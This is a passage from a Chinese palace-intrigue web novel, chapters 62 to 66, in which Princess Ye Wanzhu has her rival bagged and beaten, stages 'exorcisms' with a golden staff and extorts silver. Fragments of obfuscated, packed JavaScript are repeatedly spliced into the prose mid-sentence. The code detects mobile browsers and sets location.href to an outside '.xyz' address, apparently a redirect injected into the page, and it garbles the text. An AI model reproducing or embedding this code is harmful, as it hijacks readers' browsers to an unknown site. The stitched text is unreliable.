望着乞丐们脏兮兮的打扮,阮莹莹下意识捂住鼻子,看向车边随从。 “夫人!”璎珞却惊慌回头,不住地眨着眼,“他们是,他们是……” “说好事后给我们一人一两银子,你敢不认账?终于让我们抓到了吧!” “给钱!给钱!” “别想赖账!” 璎珞的话还没说完,便被小乞丐们的七嘴八舌打断了。 其中还有一个年龄稍大些的,死死抓着璎珞的衣袖不放,“不然就把你让我们干的事告诉所有人!” 阮莹莹明白过来,面上神情变冷。 这是替她散布叶晚竹谣言的那些乞丐吧? 什么每人一两银子,她从来没说过这样的话! 一群乞丐,居然也敢趁火**到她头上来了! 不过那些话当然不能被嚷嚷出去,阮莹莹深吸一口气快步上前。 “想要银子,就都跟我来,找个安静地方说话!否则我现在就报官,你们觉得官府会相信谁?” 绫罗绸缎穿在身上,再加上这一身气势,让阮莹莹看起来非常不好惹。 几个小乞丐见状讷讷地住了手,互相对视几眼,老老实实地跟着阮莹莹往一旁的小巷中走去。 一边在前面带路,阮莹莹一边给璎珞使了个眼色。 这帮该死的臭乞丐,简直是胆大包天,不教训教训,怕是不知道什么叫天高地厚! 她今日出行可不是一个人,萧子景给了她四个武艺高强的随从,对付这些乞丐足够了。 要**,自然不能被看见,阮莹莹带头一直走到小巷深处,确定附近无人经过这才停了下来。 她转过头,跟在自己身后的是不安又期待的乞丐们,其后是一脸凶神恶煞的随从。 再往后…… 黑影一晃而过,还不等阮莹莹有所反应,便眼前一黑,失去了知觉。 —— “夫人,得手了!” 与花容阁相距一条街,尚未正式开张的蕴秀阁中,叶晚竹正和曼娘说着话,小花便一头冲了进来。 “狗蛋他们正在转移,接下来怎么办?”她的双眼仍是亮晶晶的。 曼娘的眼皮跳了两下。 虽然她已经听叶晚竹说过这小乞丐的事情,但看这架势,不知道的还以为这是从哪里来的土匪。 叶晚竹倒是面色平静,“我知道了,你先去车上等,我马上就来。” 响亮地“诶”了一声,小花又转头嗵嗵嗵地跑了出去。 叶晚竹收回目光,便看到曼娘的表情有些复杂。 “这孩子……” 怎么和根炮仗似的。 “曼娘,”叶晚竹正色几分,“我今日让小花到这里,就是为了让你瞧瞧。” 闻言,曼娘的神情也专注起来,“小姐您说。” “你在城中打听打听这小乞丐的来历,看看她有没有什么问题。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451860|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶晚竹的话说得隐晦,曼娘却能听懂,顿时皱起了眉头。 “查仔细点,别让人发现。”叶晚竹又朝着她一颔首。 若真是知恩图报的小乞丐,那自然是最好,但想到小花那一身的伤,还有她出现的时机,叶晚竹心里有些犯嘀咕。 “如果没问题就不用来禀报了,她帮了我不少忙,日后你多照拂些。” “我明白了,小姐放心。” 交代好曼娘,叶晚竹这才登上早已等在外面的马车。 书画陪着小花坐在里面,一见叶晚竹出现,小花便又激动起来。 “夫人夫人,狗蛋他们到了,咱们也快走吧!” 她摩拳擦掌着。 终于能教训说王妃坏话的人了! 马车已经启动,叶晚竹示意小花坐到自己身边来。 “一会儿你们要做什么都可以,但只有一点,不准出声,记住了没有?” “记住了!” 一炷香后,马车驶离京城,停在山脚下一处荒废破败的小庙之外。 这庙宇不知道荒废了多久,连院墙都塌了一大半,小花走在前面给叶晚竹引路,却是驾轻就熟。 王妃有令,不许出声,小花生怕自己记不住,空出一只手捂着嘴巴。 三人很快走到同样四处漏风的大殿外,狗蛋一行正蹲在废墟里,看见她们齐齐咧开了嘴。 小花连忙伸手比划着。 都闭嘴! 这是提前商量好的,一众小乞丐连忙噤声。 叶晚竹往大殿里看去。 屋里唯一一面墙边靠着个**袋,里面鼓鼓囊囊,不停动作着,还有紧张的呜呜声传来。 是阮莹莹和璎珞。 隐风这时候从房顶上一跃而下,朝着叶晚竹点了点头。 一切就绪。 他身上带着很淡的血腥味,叶晚竹只当不觉,招呼着小花等人往大殿里去。 麻袋中,阮莹莹和璎珞已经醒来,发现自己被捆住手脚,堵住嘴巴动弹不得,肝胆俱裂,拼命蠕动着想逃出生天。 察觉有脚步声响起,阮莹莹眼中闪过一丝激动的光—— “唔!” 第六十二章 你把莹莹的魂还来! 拳打脚踢雨点般落下,阮莹莹的脑子顿时嗡地响了一声! 是谁? 谁要打她? 叶晚竹? 第一个跃入脑中的便是这个名字,阮莹莹却又犹豫起来。 叶晚竹要想打她,不用这么偷偷摸摸的吧? 还有谁这么恨她? 不停躲避着四处落下的拳脚,阮莹莹的脑袋很快就变得混乱起来。 麻袋里空间有限,两个人又挤成一团,谁也躲不开,被揍得哀哀惨叫,却只能在地上蠕动。 叶晚竹带头踢了几脚,做了示范就退到了殿外,看着小花一行捂着嘴将麻袋踢来踢去。 她的确不怕正大光明地揍阮莹莹,但阮莹莹挨了她那么多打,再多一次也没什么大不了的。 她动手,阮莹莹报复,循环往复,有点无聊。 她就要让阮莹莹迷惑,不解,继而惶惶不可终日,绞尽脑汁去猜到底是谁下的手。 这才好玩。 “王妃。” 趁着大殿里的动静,隐风压低声音走到叶晚竹身边。 “那个乞丐您要留吗?” 阮莹莹身边那四个随从已经被处理掉,如今后院只剩下一个瑟瑟发抖的大乞丐。 “等这边结束再放他走,”叶晚竹也压低了声音,“让他管好自己的嘴巴。” 隐风又一点头。 掐着时间让阮莹莹挨了一炷香的打,叶晚竹才让小花一行住手。 彼时麻袋里的两人早已经放弃了挣扎,只能看到呼吸时微弱的起伏。 隐风留下来善后,叶晚竹将这些小乞丐带上回京的马车,扬长而去。 猜吧,猜猜凶手到底是谁? 阮莹莹醒来的时候眼前一片漆黑,外面的天色已经彻底暗了下去。 四周一点灯火都没有,她摸索着叫醒璎珞,二人跌跌撞撞地冲到院中,迎上月光终于松了口气。 但也只是一瞬间,很快,发现自己正在一个完全陌生的地方,阮莹莹又着慌起来。 这前不着村后不着店的,她要怎么回王府去? 一阵冷风吹过,阮莹莹打了个哆嗦,望着眼前的黑暗,忍不住开始瑟瑟发抖,挨过打的酸痛也后知后觉地漫了上来。 “夫人……”璎珞同样打着哆嗦,哭丧着脸,“这下,这下怎么办啊……” 阮莹莹闭了闭眼。 问得好。 她也想知道,现在该怎么办! 黑灯瞎火的,连脚下的路都看不见,阮莹莹试着往外走了几步,很快便放弃了离开的想法。 “王爷肯定已经发现我不在府中了,他会派人来找咱们的。”无奈之下,阮莹莹只能喃喃低语。 “等吧。” 破庙四面透风,入夜后冷得人直打哆嗦,阮莹莹和璎珞只好抱在一起取暖。 “夫夫夫人……” 璎珞冻得直打哆嗦,口齿不清,却还是道,“您有没有听见什么动静?” “什,什么动静?”阮莹莹这会儿也冷得牙关打颤。 “好,好像有人……” 这伸手不见五指的地方,哪里有人? 阮莹莹正要说话,身子忽然一僵。 不知道是不是错觉,她好像真的听见了窸窸窣窣的声音! 猛地扭头朝发声的地方看去,阮莹莹却什么都看不清,正在努力,后脖颈忽然一凉! “啊——” 好像有人往她脖子里吹气! 尖叫一声,阮莹莹猛地跳起来,“谁?是谁!” 她还没喊完,璎珞的尖叫声也跟着响起,“有东西摸我!” 几乎是与此同时,阮莹莹也感到自己脚背上有什么一扫而过! 老鼠?蛇? 还是……鬼? 她浑身僵硬着和璎珞对视一眼。 方才的异动不知道什么时候已经彻底消失,屋中死一般地寂静。 阮莹莹能听见自己的心正疯狂地跳动着,她转着眼珠子四下看看,只觉每一个漆黑的角落似乎都鬼影重重。 “走,出去!”她咽了咽口水,一刻也不想再呆在这个地方。 璎珞显然也是如此,两人一步三扭头,战战兢兢地往门外而去。 至少外面还有月亮! 蹑手蹑脚走到门前,阮莹莹正要迈步,脚腕忽然一软,毫无准备地跌倒在地! “夫——” 璎珞只来得及发出一点声音,紧跟着也一头栽倒下去!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451861|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后颈的凉风再度袭来,两人不约而同地瞪大双眼。 “啊!!” —— 叶晚竹是被一阵喧哗声吵醒的。 屋外的天还黑着,看不见一丝光亮,动静却一浪高过一浪,活像菜市场。 难道萧子景穷疯了,打算在王府练摊? “让叶晚竹滚出来!” “放我进去!” “滚,这是景平王府的地盘!” 刚想到萧子景,这位的吼叫声便响了起来。 其间还夹杂着隐风和隐川的声音,叶晚竹听了一会儿,披上衣服起了身。 书画早被吵醒了,听见屋里的动静,连忙进来伺候。 “这是发什么疯?” “阮姨娘回来了,”书画压低声音,“三更多才进了府门,王爷抱着回春风居的,后来院子里就乱起来了,听说阮姨娘好像是受了惊吓,一直喊有鬼!” 叶晚竹穿衣服的动作停了停。 三更多才回来? 白日里她安置了小花等人回府,那时候才中午,萧子景听说阮莹莹不在府中,已经派人去找。 找了这么长时间? “阮姨娘的情况估计不好,王爷的脸色难看得吓人,一个劲喊着要王妃负责。” 替叶晚竹整理着头发,书画对着铜镜撇了撇嘴。 什么事都怪她家王妃! 不过这一回倒真不能怪萧子景多想。 “王爷是不是发现了?”书画小声道。 “要真是发现了,他就不止是这么嚷嚷了。” 整理好衣裳,叶晚竹站起身来。 “走,出去瞧瞧到底怎么回事。” 就算萧子景找人的速度慢了点,怎么说阮莹莹也是一个人跑到过西北去的,今天又有璎珞陪着,还不至于吓成这个样子。 莫非是在装模作样? 那就有意思了。 主仆二人来到院门前的时候,隐川和隐风正并肩站着,像两堵墙一样挡在萧子景身前。 萧子景进不来潇湘院,只能高声叫骂,言辞越发不堪入耳。 看到叶晚竹出现,他的眼睛顿时一片赤红! “贱妇,你把莹莹的魂还来!” 第六十三章 我来替你驱驱鬼吧! 还魂? 叶晚竹神情复杂地看着萧子景。 她觉得丢了魂的应该是另有其人。 “让开,都给本王让开!” 见她不语,萧子景先朝着隐风隐川咆哮,无果后又狠狠瞪着叶晚竹。 “是不是你装神弄鬼吓坏了莹莹?叶晚竹,我警告你,莹莹要是有个什么三长两短,本王要你偿命!” 叶晚竹原本还在回味萧子景这几句话,闻言顿时冷笑了一声。 “王爷找替罪羊也得讲点基本的道理吧?我什么时候装神弄鬼,难道王爷看见了?” 她一听就知道萧子景对此事毫无头绪。 却还是能第一时间怪到自己身上来! “你还敢狡辩!”萧子景的情绪更加激动,“除了你,还有谁会害莹莹?你这毒妇,本王,本王——让我进去!” 他猛烈地推着隐风隐川,跳着脚大声吼叫,又手舞足蹈地要突破二人的围堵,看起来更像是个疯子。 “叶晚竹,有本事,你这辈子都别出来!本王等着弄死你!” 折腾得气喘吁吁仍是没有进展,萧子景隔着隐川的耳朵,恶狠狠地指着叶晚竹。 他眼底杀意迸发,到底是上过战场的人,萧子景这一眼看过来,书画忍不住打了个哆嗦。 叶晚竹上前挡住萧子景的目光,神色也变得冷厉。 “王爷只有这点会放狠话的本事?那可不行。” “书画,取金杖来!” 一听这两个字,一脸疯狂的萧子景忽然浑身一滞。 “你,你要干什么?”他梗着脖子看向叶晚竹,“你自己做错了事不承认,竟然也有脸拿金杖压人?” “王爷都有脸来没事找事呢,我学学王爷的厚脸皮有何不可?” 接过金杖,叶晚竹上前两步,示意隐风和隐川让开。 她面无表情,手持凶器,大门已经敞开,萧子景却下意识地后退了半步。 “哟,忽然不想咬人了?” 看着他的动作,叶晚竹嘲讽地笑了起来。 还不等萧子景再说什么,她忽然出手,一杖子抽了上去! 这一下正中萧子景面门,他短促地哀嚎一声,捂着鼻子踉跄后退。 “隐风!扶好王爷。” 叶晚竹收了金杖,语气冷酷,“随我一道去春风居看看,阮姨娘的魂儿到底丢了没有?” 她倒是要亲眼看看究竟是怎么一回事! 隐风半拖半抱,强硬地架着萧子景,与叶晚竹一行到了春风居外。 院中灯火通明,亮如白昼,丫鬟嬷嬷不住地进进出出,皆是神情紧张。 看到萧子景的狼狈模样,还有一身不善的叶晚竹,院中人的脚步都是一顿。 与此同时,低低的说话声从屋中传来,透着惊恐。 叶晚竹抬腿便往阮莹莹房中走去。 “别过来,别过来……” 阮莹莹在床角蜷缩成一团,双眼呆滞,神情恍惚,只不住地喃喃自语着。 璎珞不在屋中,其他几个丫鬟围在床边,小心翼翼地喊着阮莹莹的名字。 “毒妇,你要干什么?不许你再恐吓莹莹!” 萧子景被隐风拿着,被迫站在院中,只能高声大喊。 这个时候,叶晚竹已经走到床边,和阮莹莹对上了视线。 一抹慌张从她眼底一闪而过,让阮莹莹瞬间显得清醒了不少,眼神都变得灵动。 叶晚竹勾了勾唇,阮莹莹又是一僵。 “别,别过来!有鬼,有鬼啊!”她欲盖弥彰地大喊起来,“你别过——啊啊啊!” 叶晚竹一杖子向阮莹莹抽了过去! 她就知道是装的! “听说阮姨娘丢了魂儿?巧了,本王妃知道一个民间偏方,保管能把姨娘的魂儿喊回来!” “姨娘这是心神不宁,被恶鬼趁虚而入,侵占了躯壳,只要挨上本王妃一百杖子,将那恶鬼打跑就好了!” “这金杖还是圣上御赐,有天子之气庇佑,什么妖魔鬼怪都得退避三舍!” 口中说着话,叶晚竹劈头盖脸地朝阮莹莹抽了过去! 阮莹莹未必认为今日之事就是出自她的手笔,却还是打算将计就计,给她找麻烦! 好在这件事倒也不算麻烦,连说辞都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456036|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现成的! 叶晚竹下手毫不留情,阮莹莹很快就受不住了,从床上一头滚落在地,而后手脚并用地向外爬去! “姨娘怎么跑了,一定是恶鬼发动了!” 举着金杖毫不费力地追了上去,叶晚竹一边想着幽云**的那套话,一边又是几杖子狠狠打下! 阮莹莹尖叫着,“王爷救我!” “恶鬼好狡猾!会惑人心智!”叶晚竹又是一杖,“隐风,莫要让王爷心软,免得半途而废!” “叶晚竹!”萧子景的吼叫声响彻云霄。 可惜没用,他被隐风死死按着肩膀,连一动都不能动,只能眼睁睁地看着阮莹莹满院逃窜。 金杖不间断地落下,阮莹莹躲也躲不开,忽然灵光一闪! “我,我没疯……不对,我好了,我好了!”她大喊一声。 既然她已经好了,叶晚竹就没有再动手的理由了吧! “哦?” 闻言,叶晚竹当真住了手,似笑非笑地瞅着一身狼狈的阮莹莹。 “姨娘真的好了吗,有什么证据?还不到一百杖,那恶鬼可能只是暂时躲起来了呢?” 阮莹莹又是一阵胆寒,险些将嘴唇都咬破。 早知道,就不该用这种办法对付叶晚竹! 反而让她学去一招! “我……我能感觉到那恶鬼已经走了!”阮莹莹转着眼珠子,“可能是害怕御赐之物吧。” “原来如此。” 叶晚竹煞有介事点了点头,又道,“虽然我不能确定,但既然阮姨娘都这么说了,日后那恶鬼若是再出现,本王妃就帮你继续抽它好了。” 阮莹莹又哆嗦起来。 还有下次? 她是不是掉进叶晚竹挖的坑里了? “还有一件事——” 笑眯眯地看着阮莹莹青白交接的脸色,叶晚竹上前一步。 “为了替姨娘驱鬼,本王妃费了好大的力气,还要承担被恶鬼报复的危险,更别说还要听王爷的大吼大叫——” 她摊开手掌,平放在阮莹莹面前。 “辛苦费,一百两银子。” 第六十四章 挨金杖打,交私房钱 阮莹莹差点儿一口气上不来昏过去。 挨了半天打,她还要掏钱? 叶晚竹这**! “嗯?姨娘的眼神瞧着又有些迷茫了啊……” 看着阮莹莹不甘不愿的模样,叶晚竹忽然又压低了声音。 “看来那恶鬼果然没走,本王妃还是继续——” “没,我没有!” 见她又要举起金杖,阮莹莹浑身一颤,再顾不上心疼,“给钱,我给你银子!” 要是再让叶晚竹打下去,说不定更加人财两空! “那就拿来吧。”叶晚竹的笑容又变得灿烂。 阮莹莹咬了咬嘴唇,微妙地顿了一下,才忍着一身火辣辣的疼痛下了床,从梳妆台边缘摸出一个小盒子,拿出一百两银票递给叶晚竹。 一道惊愕的目光落在她身上,阮莹莹咬了咬嘴唇,权当什么都没看到。 叶晚竹接过银票,一边斜晲着屋外脸色难看的萧子景。 自从她拿走朝廷发的俸禄,萧子景囊中是一日比一日羞涩,听说没少到同僚下属家中蹭饭。 现在忽然发现自己最信任宠爱的女人竟然有私房钱…… “姨娘大方,下次若是再犯病,本王妃继续来帮你的忙。” 笑眯眯地拍了拍阮莹莹的肩膀,叶晚竹也权当看不见她青白交加的脸色,拎起金杖转身走到院中。 萧子景还被隐风按着站在原地,见到叶晚竹出来,他的表情十分复杂。 他竟然冤枉了叶晚竹? 这一晚上的惊心动魄,都是阮莹莹演出来的? 她还背着自己藏了私—— “嗷!” 剧痛袭上腹部,萧子景猝不及防地大喊一声,用力弓起上半身,额头上顿时冷汗直冒。 他想逃脱,身子却被死死按住,只能眼睁睁地看着叶晚竹再一次抽了上来。 “下次再不分青红皂白,跑到潇湘院来撒野,王爷的眼睛就别要了,反正也不用。” 狠狠落下几杖,眼见萧子景狗一样蜷缩着躲避,叶晚竹才停下动作。 “我看那恶鬼对王爷的影响也不小,顺便帮你驱两下,给五十两银子就行。” “什么——?” 被抽得耳鸣目眩,萧子景难以置信地抬起头来。 五十两银子? 还就行? 叶晚竹又举起金杖—— “给,我给!”萧子景慌忙捂住自己的脸,又感到一丝难堪。 他手里现在连五两都没有! “……先欠着,等过段日子,本王再给你……”他含含糊糊地说着,顺便把自己的脑袋护得更紧。 叶晚竹的抽打却迟迟不曾到来。 “好啊,”她反倒一口应下,“不过王爷可要尽快,下个月,我就要收利钱了。” 还有利钱? 要收多少? 萧子景抬起头,还想说些什么,叶晚竹已经带着一行下人扬长而去! 盯着叶晚竹的背影看了半晌,萧子景的呼吸渐渐变得粗重。 这贱妇会放过压榨王府钱财的机会吗? 不会! 一把甩开两个上前将他搀扶起来的丫鬟,萧子景跌跌撞撞地朝着一脸犹豫的阮莹莹而去。 阮莹莹手中还拿着藏银票的小木盒,见萧子景面色不善,有些结巴,“王,王爷——” “你还有多少银子?” —— 太阳升起的时候,叶晚竹收到了冬生送来的五十两银票。 “王爷怎么自己不来?”将银票搁在桌上,她朝冬生扬了扬下巴。 冬生打了个哆嗦,面上表情十分为难。 “王爷、王爷在、在看伤呢!”他吭哧了半天才挤出一句话。 叶晚竹似笑非笑,拖长了音调哦了一声。 府里压根没来大夫,萧子景手里也没有五十两,这银票,肯定是从阮莹莹那里要来的了。 不知道这两个人现在是什么模样? 饶有兴趣地想着,叶晚竹连笑容都明亮了几分。 冬生则是有气无力地垂着脑袋。 阮姨娘藏了私不假,倒是正好能应王爷的急,看在这份儿上,王爷并未多说什么,也只要走了五十两银子。 可阮姨娘已经在屋中哭了一个多时辰了,不知道两人都说了什么,王爷在里面劝也劝不住。 想到那凄凄切切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456037|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无休无止的抽泣,冬生就头疼! 他现在还有没有机会到潇湘院这里来做事? 王妃这里清净多了,还能填饱肚子! 天知道,他隔三差五就要跟着王爷去打秋风的日子有多难堪! 那些大小将军不敢对王爷明着冷嘲热讽,就全都转移到他身上,还故意克扣他的饭食! 想着,冬生悄悄抬起头,羡慕地看着站在不远处的隐风隐川。 一看就是顿顿都能吃饱饭的—— 然后他就对上了一双无情的眸子。 “……小的,小的告辞了!”打了个冷战,冬生忙不迭地行礼逃跑! 这地方虽然好,可他承受不起! 见人离开,叶晚竹转手将银票递给书画,“王爷赏的,你收着吧。” 书画喜笑颜开地接过来放进怀中,又道,“看来奴婢得时常看看,那恶鬼是不是又出现了。” 打一次“恶鬼”收获颇丰,难怪幽云**这么热衷于此! 叶晚竹闻言笑了笑,又站起身,“好了,收拾一下,咱们去蕴秀阁。” 铺子已经收拾得差不多,开业在即,要做的事情还有很多。 按照叶晚竹的记忆,最多再有半月,南疆大胜的消息便会传来,前往那边的事情也该安排上日程了。 换了身衣裳来到王府外,叶晚竹刚要上马车,便见着一道有些熟悉的身影出现在车厢旁边。 是隐月。 “王妃,”他躬了躬身子,“九千岁邀您过府一叙。” 这煞神已经消停了不少日子,怎么忽然得闲了? 毕竟是一见如故,叶晚竹挑了挑眉,“那就走吧。” 隐月充当车夫,驾着马车一路往宫城附近而行,却并没有将叶晚竹带到东厂,而是拐了几个弯,停在都督府门前。 望着比东厂更显得气派几分的大门,叶晚竹也不由得眨了眨眼。 此处规格堪比宫中,圣上竟然也能容许? 经历了上一次的面圣,叶晚竹这会儿忽然感到有些说不出的怪异。 隐月在前面催促,她很快打起精神,跟着走进院中—— “属下该死,给王妃请罪!” 第六十五章 自当对王妃,言听计从 隐翼的声音从不远处传来,叶晚竹一抬头,便看到他正赤裸着上半身,结结实实地跪在地上。 身上的伤痕还在沁着血,背上还背着一大把荆棘丛生的木条,隐翼低垂着脑袋,模样瞧着十分可怜。 叶晚竹慢下脚步,着实疑惑。 这是犯了什么错,为什么要向她请罪? “王妃。” 谢无咎带着笑意的声音响起,人也已经走到廊下。 隐翼就跪在石阶之外,血迹滴落一地,他却仿佛什么都没看见一样。 “九千岁这是为何?”叶晚竹朝着隐翼抬了抬下巴。 谢无咎垂眸看去,顿时收起笑容。 “自己说吧。”他语气不辨喜怒。 隐翼膝行几步,朝叶晚竹靠近了些。 “王妃……属下擅作主张,对阮姨娘动了手,险些让王妃背了罪名,属下有罪!” ……这里面还有阮莹莹的事? 叶晚竹沉默着继续听隐翼说话。 隐翼负责暗中盯视景平王府,阮莹莹自然是重点之一,这位姨娘对景平王妃有多少恶毒的心思和盘算,他听到的都数不过来。 叶晚竹要出手惩治阮莹莹,隐翼自然不会阻挠。 不仅如此,他还要添一把火! 只是蒙上麻袋打一顿,好像有些不够过瘾啊。 敢算计王妃? 吓死你好了! 身为谢无咎的手下,装神弄鬼于隐翼简直是信手拈来,保管让阮莹莹吓破胆子,再也不敢胡作非为! 只是隐翼没想到,阮莹莹是被他吓着了没错,可是好像吓疯了! 那破庙外面就是山,黑漆漆的,伸手不见五指,阮莹莹拉着她的丫鬟,就这么跑进去了! 景平王爷的手下也都是废物,大半天找不到位置,隐翼费了九牛二虎之力,才把满山乱跑的两人送到萧子景面前。 本以为这场闹剧终于结束了,却没想到,阮莹莹分明一副被吓傻了的样子,背过脑袋,却还想着要诬陷景平王妃! 眼见捅了篓子,隐翼不敢放松,连忙前来找九千岁请罪。 “……都是属下的过错,请王妃责罚!” 说完话,隐翼又朝着叶晚竹的方向垂下头去。 叶晚竹这会儿正是恍然大悟的时候。 难怪阮莹莹耽搁了这样久才回府,难怪萧子景会说她丢了魂。 原来是有人好心办了坏事。 “多事的奴才,又是一个自作主张的,本督要你何用?” 又听了一遍隐翼做的好事,谢无咎神情阴冷,一脚将隐翼踹翻在地,抬眼看向叶晚竹。 “此人交由王妃处置吧。” “这倒不必,”叶晚竹摇了摇头,“隐翼是都督的手下,我怎好越俎代庖?” 闻言,谢无咎仍带着一丝寒气的目光又直勾勾地朝着叶晚竹看来。 他视线定格片刻,忽然轻笑一声,快步走到叶晚竹身前。 “王妃说的倒也没错,是本督没有管教好手下,才给王妃惹了麻烦。” 低声细语着,谢无咎的声音又变得柔和几分。 “俗话说,打狗要看主人,训狗也是一般,王妃觉得处罚隐翼不够尽兴,不若……本督亲身向王妃,负荆请罪?” 一字一字道出,谢无咎眼底的光亮变得更甚几分。 “这样的诚意,应该足够王妃消气了吧?” 谢无咎的声音近在耳畔,分明是个大活人,可落在叶晚竹耳边的吐息却冰冷慑人。 叶晚竹忍不住上下打量着这位九千岁大人。 这是什么毛病? “妾身若是答应,九千岁可会反悔?”她勾了勾嘴唇。 难道一人之下万人之上的谢无咎,真会跪在地上给她打不成? 谢无咎的双眼却越发亮得惊人。 “只要王妃开口,本督绝对奉陪。” 看他这模样,好像当真迫不及待想挨打似的。 叶晚竹咽了咽口水,忍住真想动手的冲动。 “阮莹莹对我向来心怀不轨,就算没有隐翼,十有**,她也会栽赃到我头上。” 抬起目光,叶晚竹回望着谢无咎。 闻言,谢无咎收起玩味的笑意,略带惋惜地叹了口气。 “王妃大度,隐翼,还不谢恩?” “属下谢过王妃!”隐翼将身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456038|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弯得更低了。 “王妃放过你,本督却嫌你**手毛脚,明天就去地牢领五十大板,好好长长记性。” “滚吧。”他不耐烦地一挥手。 “属下遵命!” 隐翼正要离开,叶晚竹却又道:“且慢。” “王妃还有何话要说?”谢无咎侧目看来。 “阮莹莹又吃了个大亏,势必要报复回来,隐翼若是受刑,这段时间就不能盯梢了吧?” 叶晚竹也歪了歪头。 “九千岁不如用他将功补过?” 谢无咎的神情微妙地顿了一顿,再看向叶晚竹的时候,便多了些了然意味。 “原来王妃绕了个圈子,还是想让本督放他一马啊。” 眨了眨眼,叶晚竹并未否认。 隐翼有心帮她办事,她总不好见死不救。 “王妃对这奴才如此宽容心软,倒叫本督有些羡慕。”谢无咎的语气听上去好像在哼歌,让人分不清他心绪究竟如何。 叶晚竹忍不住提醒他:“我刚才也放过了都督一回。” 没有真在他身上抽几杖子。 闻言先是一愣,谢无咎旋即朗声大笑起来,好像听见了什么好消息一般。 “好好好,”他拍着手,“那本督可要感谢王妃的高抬贵手之恩!” “至于隐翼……” 话锋一转,谢无咎的目光也跟着看去,在隐翼伤痕丛生的后背上打了个转,又带着笑意回到叶晚竹面上。 “虽然是本督的手下,但王妃对他有令,他自当……言听计从。” 说这话时,谢无咎语气缱绻,眼中更是带着说不出的深意。 直到离开都督府,坐上回程的马车,叶晚竹眼前依旧闪烁着这副景象。 继喜怒无常,阴晴不定之后,这位的性子似乎开始朝着野马脱缰的方向发展而去。 “王妃……”书画也语气惴惴,“九千岁,九千岁他……” 方才九千岁看着自家王妃的模样,让她不知怎么想起了已故的老爷。 从前还在叶家的时候,老爷看着夫人,便是那样的神态! 可,可九千岁是太监啊! 第六十六章 盯着那些乞丐! 难道…… 书画瞪大了双眼朝叶晚竹看去,不敢贸然开口,只把问题都写在眼神里。 叶晚竹沉默一瞬,抬手掩住她的双眼。 “走了,去蕴秀阁。” 就算谢无咎真有这样的心思,他是权倾朝野的大太监,而她是景平王妃;不想闹到圣上面前,他该知道怎么做才最好。 若他真要疯得不管不顾……叶晚竹也势必不会让他得逞。 叶晚竹的马车前往蕴秀阁的时候,阮莹莹顶着一双哭得烂桃一般的双眼,神情冷漠地打开了房门。 萧子景已经上朝去了,还又拿走了她一张五十两的银票! 那盒子里的银票是阮莹莹发现王府情况不好后匆匆攒下的,本来就没多少,一下损失二百两,她这会儿浑身都在发抖。 “璎珞呢?醒了没有?” 看着站在院中瑟瑟发抖的丫鬟,阮莹莹皱着眉头问道。 在那破庙之中,阮莹莹虽然也受了不小的惊吓,但并未受伤,见到萧子景便已经很快地恢复了过来。 璎珞就没这么幸运了,在山里逃窜的时候崴了脚,又险些坠崖,被找到后便一头昏了过去。 见着小丫鬟点头,阮莹莹抬脚就往下人房里去。 璎珞确实已经醒了,惊魂未定,脸色还有些苍白,看见阮莹莹进到屋中,她顿时呼吸一窒。 “姨娘……都是奴婢办事不利!” 那些小乞丐是因为她才缠上来的,醒来后想到这儿,璎珞便一阵阵地心虚紧张。 她把阮姨娘害成这样,姨娘一定不会放过她的吧? “算了,不能怨你。” 阮莹莹语气温和,璎珞闻言难以置信地抬起头来。 “是那幕后之人阴险狡诈。” 继续温声说着话,阮莹莹一双手却紧握成拳,指甲深深陷进手心的软肉里。 她恨不得也找根杖子,狠狠地在璎珞身上抽一顿! 